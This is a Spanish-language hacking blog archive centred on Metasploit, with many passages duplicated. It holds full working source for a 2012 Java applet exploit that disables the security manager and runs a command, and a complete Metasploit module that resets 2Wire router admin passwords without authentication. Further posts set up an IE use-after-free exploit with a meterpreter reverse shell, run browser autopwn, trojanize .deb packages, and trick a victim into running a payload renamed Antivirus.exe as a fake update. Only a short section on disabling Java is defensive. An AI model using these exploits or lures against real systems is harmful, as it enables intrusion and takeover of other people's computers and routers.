// // CVE-2012-XXXX Java 0day // // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // // secret host / ip : ok.aa24.net / 59.120.154.62 // // regurgitated by jduck // // probably a metasploit module soon... // package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); SetField(Statement.class, "acc", localStatement, localAccessControlContext); localStatement.execute(); } private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); } public void init() { try { disableSecurity(); Process localProcess = null; localProcess = Runtime.getRuntime().exec("calc.exe"); if(localProcess != null); localProcess.waitFor(); } catch(Throwable localThrowable) { localThrowable.printStackTrace(); } } public void paint(Graphics paramGraphics) { paramGraphics.drawString("Loading", 50, 25); } }
Enlace al Blog de Metasploit Con el anuncio de la Vulnerabilidad para el Framework.
https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
Codigo del Exploit para Metasploit en ---> http://www.exploit-db.com/exploits/20865/
Video demostrando la POC de la Vulnerabilidad
Recomendaiones para no ser victima del ataque (unica solucion hasta el momento)
visto en: http://www.securitybydefault.com/2012/08/grave-vulnerabilidad-en-java-re-17-como.html
De momento, la única recomendación posible (y tajante como ella sola) es deshabilitar por completo Java de nuestros navegadores hasta nueva orden (hasta que Oracle nos deleite con un parche).
Vamos a dar un repaso por los navegadores más utilizados para saber cómo deshabilitar Java y poder así, navegar tranquilos sin permitir que millones de personas jueguen con nuestros PCs:
- Cómo deshabilitar Java de Internet Explorer
1) Menú de Herramientas (Tools) -> Opciones de Internet (Internet Options)
2) Pestaña Programas (Programs) -> Gestionar complementos (Manage Add-ons)
3) Seleccionar Java Plug-in y deshabilitar (disable)
4) Hacer clic en Aceptar (Ok), y de nuevo Aceptar (Ok)
- Cómo deshabilitar Java de Mozilla Firefox
1) Menú de Herramientas (Tools) -> Complementes (Add-ons)
2) Seleccionar el panel Plugins
3) Hacer clic en elementos cuyo nombre sea Java Plug-in o Java Applet Plug-in. Según el entorno, sistema operativo y versión, el complemento puede venir con un nombre u otro.
4) Hacer clic en el botón "Deshabilitar" (Disable)
- Cómo deshabilitar Java de Google Chrome
1) Accedemos al menú de plugins escribiendo "chrome://plugins/" en la barra de direcciones.
2) Buscar el complemento Java y hacer clic en "Deshabilitar"
- Cómo deshabilitar Java de Safari
1) Acceder a Preferencias -> Pestaña "Seguridad" (Security)
2) Desmarcar la opción "Habilitar Java"
Ahora, ya nos podemos sentir un poco más seguros, por lo menos hasta que se publique una actualización para esta vulnerabilidad.
Etiquetas:
applet,
Framework,
hacking java,
java 7,
java applet,
java metasploit,
metasploit,
remote code execution
7/11/11
Internet Explorer DHTML Behaviors Use After Free
Este modulo explota una vulnerabilidad del tipo use-after-free que está incluida en el componente DHTML de Internet Explorer en las versiones 6 y 7. Este tipo de error es usado muy frecuentemente y se conoce como la vulnerabilidad “iepeers”. El nombre se da debido a la solución que planteo Microsoft de bloquear el acceso al archivo iepeers.dll.
Targets:
* 0 - (Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista (default)
* 1 - IE 6 SP0-SP2 (onclick)
* 2 - IE 7.0 (marquee)
Desarrollado por:
* unknown < >
* Trancer < mtrancer [at] gmail.com >
* Nanika < >
* jduck < jduck [at] metasploit.com >
Se definen las opciones disponibles por el exploit:
1. Dirección IP atacante: 192.168.100.228
2. Dirección IP víctima: 192.168.100.232
3. URL: http://192.168.100.228:8080/hola.html
4. Payload: Windows/meterpreter/reverce_tcp
5. Puerto de conexión con la maquina atacante: 4444
msf > search DHTML
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/browser/ms10_018_ie_behaviors 2010-03-09 good Internet Explorer DHTML Behaviors Use After Free
msf >
---> http://www.nyxbone.com/metasploit/ms10_018_ie_behaviors.html
Targets:
* 0 - (Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista (default)
* 1 - IE 6 SP0-SP2 (onclick)
* 2 - IE 7.0 (marquee)
Desarrollado por:
* unknown < >
* Trancer < mtrancer [at] gmail.com >
* Nanika < >
* jduck < jduck [at] metasploit.com >
Se definen las opciones disponibles por el exploit:
1. Dirección IP atacante: 192.168.100.228
2. Dirección IP víctima: 192.168.100.232
3. URL: http://192.168.100.228:8080/hola.html
4. Payload: Windows/meterpreter/reverce_tcp
5. Puerto de conexión con la maquina atacante: 4444
msf > search DHTML
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/browser/ms10_018_ie_behaviors 2010-03-09 good Internet Explorer DHTML Behaviors Use After Free
msf >
---> http://www.nyxbone.com/metasploit/ms10_018_ie_behaviors.html
Etiquetas:
internet explorer,
metasploit,
msfconsole
Illustrating the Process of a Network Attack with Armitage
Comparto excelente video.
Illustrating the Process of a Network Attack with Armitage from Surapheal Belay on Vimeo.
Etiquetas:
Armitage,
ataque con armitage,
BackTrack 5,
empleos hacking,
metasploit,
msfconsole
1/11/11
SMB Scanners Metasploit
Metasploit cuenta con varios modulos para la consultar y auditar la seguridad del protocolo SMB.
Podemos hacer un msf > search y posteriormente el nombre de cada uno de ellos para mas informacion msf > info
» smb/pipe_auditor
» smb/pipe_dcerpc_auditor
» smb/smb2
» smb/smb_enumshares
» smb/smb_enumusers
» smb/smb_login
» smb/smb_lookupsid
» smb/smb_version
PIPE AUDITOR
El modulo pipe_auditor puede ser utilizado para determinar qué servicios están disponibles sobre SMB
PIPE DCERPC AUDITOR
Este escáner retornara los servicios DCERPC a los cuales se puede tener acceso a través de un canal SMB.
SMB2
Permite determinar si los diferentes hosts de la red soportan el protocolo SMB2.
SMB ENUM SHARES
Este modulo permite consultar los diferentes archivos y carpetas compartidas en los sistemas de la red. Como se puede observar todos las consultas son bloqueadas en todos los sistemas, una ventaja de este modulo es que permite ingresar las credenciales de usuario / contraseña de manera que esta combinación pueda ser probada en todos los sistemas de la red.
ENUM USERS
El escáner smb_enumusers se conectara con cada sistema a través del servicio SMB RPC y listará todos los usuarios existentes.
SMB LOGIN
El modulo smb_login permite validar el acceso en todos los sistemas de la red a través del protocolo SMB, además maneja una cantidad de opciones mayor a la de otros módulos, entre ellas se tiene la opción de cargar archivos que contengan nombres de usuario y contraseñas, aumentar la velocidad del ataque de fuerza bruta entre otras.
SMB LOOKUPSID
El modulo smb_lookupsid permite determinar que usuarios ahí creados en cada una de las maquinas de la red, esta función es de gran utilidad a la hora de realizar futuros ataques de fuerza bruta.
SMB VERSION
Este modulo permite escanear un rango de direcciones IP en la red para determinar la versión del servicio SMB en cada máquina, así mismo permite visualizar el sistema operativo con el que cuenta cada una de los equipos a los cuales se puede tener acceso, el resultado con o sin credenciales de usuario / contraseña no varía de forma significativa en los resultados.
Tenemos unos Cuantos MAS =)
msf > search smb/smb
Etiquetas:
hacking smb,
metasploit,
msfconsole,
smb
Browser Autopwn

Metasploit ofrece la posibilidad de lanzar exploits de acuerdo al la versión del browser que la victima este utilizando, es decir que si el usuario usa Firefox como su explorador predeterminado no se tendrán en cuenta (al momento de ejecutar el ataque) exploits para Internet Explorer.
Para usar esta característica se debe ejecutar el modulo:
msf > use server/browser_autopwn
y cambiar las opciones requeridas como LHOST y URIPATH.
Este ataque puede ser efectuado también para todos los tipos de exploradores existentes como son:
Firefox
Internet Explorer
Opera
Safari
Chrome, etc.
Etiquetas:
exploradores,
hacking,
metasploit,
msfconsole,
vulnerabilidades exploradores
28/6/11
2wire password reset module
Por medio de la lista de correos de bugtraq me entero de lo siguiente.
attached is a metasploit module I coded to reset the admin password on a 2wire wireless router. enjoy
Próximamente pondré la prueba de concepto.
gracias a techhelperjax(at)gmail.com .
==============================================================================================
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => '2Wire Password Reset',
'Version' => '$Revision: 1 $',
'Description' => %Q{
This module will reset the admin password on a 2wire wireless router. This works by using a setup wizard
page that fails to check if a user is authenicated and doesn't remove or block after first access.
},
'Author' => 'Travis Phillips',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80),
OptString.new('PASSWORD', [ true, 'What you want the password reset to', 'admin'])
], self.class)
end
def run
begin
print_status("Attempting to rest password to #{datastore['PASSWORD']} on #{rhost}\n")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => '/xslt',
'data' => 'PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=A01&PASSWORD=' + datastore['PASSWORD'] + '&PASSWORD_CONF=' + datastore['PASSWORD'] + '&HINT=',
}, 25)
if (res.code == 200)
if (res.headers['Set-Cookie'])
print_status("Password reset successful!\n")
end
end
end
end
end
attached is a metasploit module I coded to reset the admin password on a 2wire wireless router. enjoy
Próximamente pondré la prueba de concepto.
gracias a techhelperjax(at)gmail.com .
==============================================================================================
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => '2Wire Password Reset',
'Version' => '$Revision: 1 $',
'Description' => %Q{
This module will reset the admin password on a 2wire wireless router. This works by using a setup wizard
page that fails to check if a user is authenicated and doesn't remove or block after first access.
},
'Author' => 'Travis Phillips',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80),
OptString.new('PASSWORD', [ true, 'What you want the password reset to', 'admin'])
], self.class)
end
def run
begin
print_status("Attempting to rest password to #{datastore['PASSWORD']} on #{rhost}\n")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => '/xslt',
'data' => 'PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=A01&PASSWORD=' + datastore['PASSWORD'] + '&PASSWORD_CONF=' + datastore['PASSWORD'] + '&HINT=',
}, 25)
if (res.code == 200)
if (res.headers['Set-Cookie'])
print_status("Password reset successful!\n")
end
end
end
end
end
Etiquetas:
2wire password,
admin 2wire,
hack 2wire,
metasploit,
msfconsole
10/2/11
Flu-Project+Fasttrack+Metasploit+Meterpreter infection method
En éste video muestro Cómo Penetrar un sistema Windows7 de dos maneras, una con el ya anteriormente comentado Flu-project y otra con Metasploit, de esta manera tenemos doble conexión inversa en la víctima y con Flu vamos gestionando a nuestros invitados =).
Explicaré en breve lo que realizo antes del video.
1-montar el server de FLU
2-compilar el ejecutable de flu, apuntando hacia el server.
3-subir el flu.exe al server.
Explicaré en breve lo que realizo en el video.
1-mandar el ejecutable de flu hacia la víctima
2-comprobar que la conexión inversa se haya realizado mandando "arp -a" y verificar en "ver Datos"
3-Con fastrack creo rápidamente un payload.exe y dejo el listener, posteriormente cambio el nombre del payload.exe a Antivirus.exe
4-entro al cpanel donde tengo alojado mi server en flu y subo el antivirus.exe
5-mando un mensaje de alerta a la víctima informando de actualización y posteriormente el antivirus.exe
6-obtenemos doble conexión inversa.
-------------------------------------------------------------------
VIDEO:AQUI
Explicaré en breve lo que realizo antes del video.
1-montar el server de FLU
2-compilar el ejecutable de flu, apuntando hacia el server.
3-subir el flu.exe al server.
Explicaré en breve lo que realizo en el video.
1-mandar el ejecutable de flu hacia la víctima
2-comprobar que la conexión inversa se haya realizado mandando "arp -a" y verificar en "ver Datos"
3-Con fastrack creo rápidamente un payload.exe y dejo el listener, posteriormente cambio el nombre del payload.exe a Antivirus.exe
4-entro al cpanel donde tengo alojado mi server en flu y subo el antivirus.exe
5-mando un mensaje de alerta a la víctima informando de actualización y posteriormente el antivirus.exe
6-obtenemos doble conexión inversa.
-------------------------------------------------------------------
VIDEO:AQUI
Etiquetas:
Flu project,
hack windows,
hacking windows7,
metasploit,
meterpreter,
troyanos
31/12/10
Troyanizando un paquete .deb con Metasploit
En este Video muestro como troyanizar un paquete .DEB utilizando el framework de Metasploit y posteriormente la victima lo instala y se obtiene el acceso.
VIDEO: AQUI
VIDEO: AQUI
Etiquetas:
metasploit,
Troyanizando un paquete deb con Metasploit
4/12/10
Hacking Windows 7 con Fasttrack
Fasttrack es una herramienta maravillosa que nos ayuda a varias cosas, desde actualizar nuestro framework de metasploit y SET, hasta lanzar ataques automatizados.
*****************************************************************
** **
** Fast-Track - A new beginning... **
** Version: 4.0.1 **
** Written by: David Kennedy (ReL1K) **
** Lead Developer: Joey Furr (j0fer) **
** http://www.secmaniac.com **
** **
*****************************************************************
Fast-Track Main Menu:
1. Fast-Track Updates
2. Autopwn Automation
3. Nmap Scripting Engine
4. Microsoft SQL Tools
5. Mass Client-Side Attack
6. Exploits
7. Binary to Hex Payload Converter
8. Payload Generator
9. Fast-Track Tutorials
10. Fast-Track Changelog
11. Fast-Track Credits
12. Exit Fast-Track
Enter the number:
Exiting Fast-Track...
--------------------------------
En este caso are un .exe con la ayuda de msfpayload pero con la facilidad que nos otorga fasttrack, el mismo fasttrack nos da la opciòn de ponernos a la escucha de este payload generado para su conexiòn inversa con msfcli.
--------------------------------
Video AQUI
*****************************************************************
** **
** Fast-Track - A new beginning... **
** Version: 4.0.1 **
** Written by: David Kennedy (ReL1K) **
** Lead Developer: Joey Furr (j0fer) **
** http://www.secmaniac.com **
** **
*****************************************************************
Fast-Track Main Menu:
1. Fast-Track Updates
2. Autopwn Automation
3. Nmap Scripting Engine
4. Microsoft SQL Tools
5. Mass Client-Side Attack
6. Exploits
7. Binary to Hex Payload Converter
8. Payload Generator
9. Fast-Track Tutorials
10. Fast-Track Changelog
11. Fast-Track Credits
12. Exit Fast-Track
Enter the number:
Exiting Fast-Track...
--------------------------------
En este caso are un .exe con la ayuda de msfpayload pero con la facilidad que nos otorga fasttrack, el mismo fasttrack nos da la opciòn de ponernos a la escucha de este payload generado para su conexiòn inversa con msfcli.
--------------------------------
Video AQUI
Etiquetas:
fasttrack,
Hacking Windows 7 con Fasttrack,
metasploit
2/12/10
Armitage
Hace un tiempo breve, un frente interesante interfaz gráfica de usuario final para Metasploit llamado Armitage fue puesto en libertad. Por ser una versión inicial, Armitage es muy pulido y lo que sabíamos que había que añadir a la repositorios BackTrack.
Para instalarlo, primero tenemos que actualizar los repositorios.
root@bt:~# apt-get update
...snip...
Reading package lists... Done
Ahora Instalarlo.
root@bt:~# apt-get install armitage
...snip...
Setting up armitage (0.1-bt0) ...
root@bt:~#
Para poder Correrlo necesitamos Levantar Mysql
root@bt:~# /etc/init.d/mysql start
Starting MySQL database server: mysqld.
Checking for corrupt, not cleanly closed and upgrade needing tables..
root@bt:~#
Una vez que el servidor MySQL se inicia, entonces necesita iniciar el demonio de Metasploit RPC. Podemos asignar cualquier user y pass, por supuesto.
root@bt:~# msfrpcd -f -U zerial -P hack -t Basic
[*] XMLRPC starting on 0.0.0.0:55553 (SSL):Basic...
Armitage esta en /pentest/exploits/armitage así que solo corremos el .sh
root@bt:~# cd /pentest/exploits/armitage/
root@bt:/pentest/exploits/armitage# ./armitage.sh
Cuando lanza Armitage pide que se conecte a la instancia msfrpcd y nuestra base de datos MYSQL, como se muestra a continuación. Comprobamos nuestra configuración, seleccione Usar SSL y haga clic en Conectar.

Después de conectarse se abrirá una ventana como esta:

Seguramente Vamos a ver mucho esta herramienta puesto que es realmente buena y muy poderosa.
Aun no e tenido el tiempo de explotarla toda como debe de ser, pero aquí realice un video de como correrlo y una penetración rápida.
Video: AQUI
Para instalarlo, primero tenemos que actualizar los repositorios.
root@bt:~# apt-get update
...snip...
Reading package lists... Done
Ahora Instalarlo.
root@bt:~# apt-get install armitage
...snip...
Setting up armitage (0.1-bt0) ...
root@bt:~#
Para poder Correrlo necesitamos Levantar Mysql
root@bt:~# /etc/init.d/mysql start
Starting MySQL database server: mysqld.
Checking for corrupt, not cleanly closed and upgrade needing tables..
root@bt:~#
Una vez que el servidor MySQL se inicia, entonces necesita iniciar el demonio de Metasploit RPC. Podemos asignar cualquier user y pass, por supuesto.
root@bt:~# msfrpcd -f -U zerial -P hack -t Basic
[*] XMLRPC starting on 0.0.0.0:55553 (SSL):Basic...
Armitage esta en /pentest/exploits/armitage así que solo corremos el .sh
root@bt:~# cd /pentest/exploits/armitage/
root@bt:/pentest/exploits/armitage# ./armitage.sh
Cuando lanza Armitage pide que se conecte a la instancia msfrpcd y nuestra base de datos MYSQL, como se muestra a continuación. Comprobamos nuestra configuración, seleccione Usar SSL y haga clic en Conectar.

Después de conectarse se abrirá una ventana como esta:
Seguramente Vamos a ver mucho esta herramienta puesto que es realmente buena y muy poderosa.
Aun no e tenido el tiempo de explotarla toda como debe de ser, pero aquí realice un video de como correrlo y una penetración rápida.
Video: AQUI
Suscribirse a:
Entradas (Atom)